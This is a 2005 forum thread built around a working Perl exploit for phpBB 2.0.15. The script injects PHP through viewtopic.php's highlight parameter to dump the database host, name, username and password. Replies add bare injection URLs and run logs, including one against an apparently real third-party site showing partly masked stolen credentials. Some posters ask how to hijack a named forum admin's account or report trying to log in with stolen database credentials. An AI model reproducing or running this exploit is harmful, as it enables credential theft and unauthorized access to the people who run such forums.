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PhpBB 2.0.15 Database Authentication Details Exploit
PostPosted: Mon Jul 04, 2005 12:55 pm Reply with quote
mauroni
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Code:
#!/usr/bin/perl

# tested and working /str0ke

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#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability **
#** This exploit gives the user all the details about the database **
#** connection such as database host, username, password and **
#** database name. **
#** **
#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005 **
#** **
#** Greetings to GvR, Jumento, PP, CKrew & friends **
#** **
#*****************************************************************************
# ***************************************************************************

use IO::Socket;

print "+-----------------------------------------------------------------------+\r\n";
print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
print "+-----------------------------------------------------------------------+\r\n";

if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER - Server where PhpBB is installed.\r\n";
print "DIR - PHPBB directory or / for no directory.\r\n";
print "THREADID - Id of an existing thread.\r\n";
print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
print " Use this when a thread needs authentication for viewing\r\n";
print " You can use Firefox in combination with \"Live HTTP\r\n";
print " Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
exit();
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$threadid = $ARGV[2];
$cookie = $ARGV[3];

$serv =~ s/http:\/\///ge;
$delimit = "GvRSecureD";

$sploit = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";

print "[+] Connecting OK\n";
sleep(1);

print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";


$succes = 0;

while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push(@array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}

close($sock);

if ($succes == 1) {
print "OK\n";
sleep(1);
print "[+] Database Host: " . $array[0] . "\n";
sleep(1);
print "[+] Database Name: " . $array[1] . "\n";
sleep(1);
print "[+] Username: " . $array[2] . "\n";
sleep(1);
print "[+] Password: " . $array[3] . "\n";
sleep(1);
} else {
print "FAILED\n";
}
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PostPosted: Mon Jul 04, 2005 4:39 pm Reply with quote
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have someone tryied it ? i'm testing on one of my forum but it seems not to be working.. i'm looking at the code...
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PostPosted: Mon Jul 04, 2005 5:04 pm Reply with quote
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works fine
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PostPosted: Mon Jul 04, 2005 5:12 pm Reply with quote
sepalot
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doesnt work on the forums <=2.0.15 where i tested it on
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PostPosted: Mon Jul 04, 2005 5:18 pm Reply with quote
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this should work only for phpBB 2.0.15 , not <= 2.0.15 , but i'm testing locally and i've got no result:
Code:

gentoo root # ./db.pl 127.0.0.1 /phpBB2/ 1
+-----------------------------------------------------------------------+
| PhpBB 2.0.15 Database Authentication Details Exploit |
| By SecureD gvr.secured<AT>gmail<DOT>com |
+-----------------------------------------------------------------------+
[+] Connecting OK
[+] Sending exploit FAILED
gentoo root #


while the command execution works perfectly
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PostPosted: Mon Jul 04, 2005 5:18 pm Reply with quote
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./l00ser.pl www.giorgioXXXX.it /forum/ 1396
+-----------------------------------------------------------------------+
| PhpBB 2.0.15 Database Authentication Details Exploit |
| By SecureD gvr.secured<AT>gmail<DOT>com |
+-----------------------------------------------------------------------+
[+] Connecting OK
[+] Sending exploit OK
[+] Database Host: localhost
[+] Database Name: giorgioXXXX248
[+] Username: WA_00XXXX
[+] Password: ciaoXXXX
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PostPosted: Mon Jul 04, 2005 6:38 pm Reply with quote
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Only phpbb 2.0.15

viewtopic.php?t=25878&highlight='.printf($dbhost).'
viewtopic.php?t=25878&highlight='.printf($dbname).'
viewtopic.php?t=25878&highlight='.printf($dbuser).'
viewtopic.php?t=25878&highlight='.printf($dbpasswd).'
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PostPosted: Tue Jul 05, 2005 7:51 am Reply with quote
KingOfSka
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i've tryed exploiting using others method like the one described by Maroni and they works locally , but what about using system ? i tryied adjusting Zeelock exploit for this version but i can't make it work..
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PostPosted: Fri Jul 08, 2005 1:31 pm Reply with quote
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When phpbb is patched it wont work. Much phpbb owners patch the code for them selves without changing the version number. This will result in a old version number with an up2date phpbb version.
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PostPosted: Tue Jul 12, 2005 9:37 am Reply with quote
diaga
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The exploit goes through, but i'm getting blank results?
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PostPosted: Mon Sep 19, 2005 1:52 pm Reply with quote
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I finally got this exploit to work on a site, however, I have not been able to connect to the database, I am getting a connection refused or not authtorized, I have already tried to connect via ssh with no avail..

any other options, last time I checked the fourm sill had the same user, dabase and pass

thanks

Robin
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PostPosted: Mon Sep 26, 2005 6:42 pm Reply with quote
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Hey, I don'tunderstant in this code anything... maybe you can say how it do, when I want to hack http://www.david-thewlis.com/davidforum forum, Name Margot ... She's admin... User number 2 ... how can I loggin in her??? Please, say what to do, where to post and else. I'm noob... THNX!
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PostPosted: Wed Sep 28, 2005 12:07 am Reply with quote
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Alex_Gutsy wrote:
Hey, I don'tunderstant in this code anything... maybe you can say how it do, when I want to hack ************************** forum, Name Margot ... She's admin... User number 2 ... how can I loggin in her??? Please, say what to do, where to post and else. I'm noob... THNX!


Please delete your target ...

and .. phpBB 2.0.16 CHANGELOG

2.0.15 Hack doesn't Work Smile
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PostPosted: Mon Jul 10, 2006 3:42 pm Reply with quote
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where must i write this code Smile
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PostPosted: Mon Jul 10, 2006 6:09 pm Reply with quote
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Damn it...
http://www.waraxe.us/ftopicp-6549-.html#6549
You should read if you got help...

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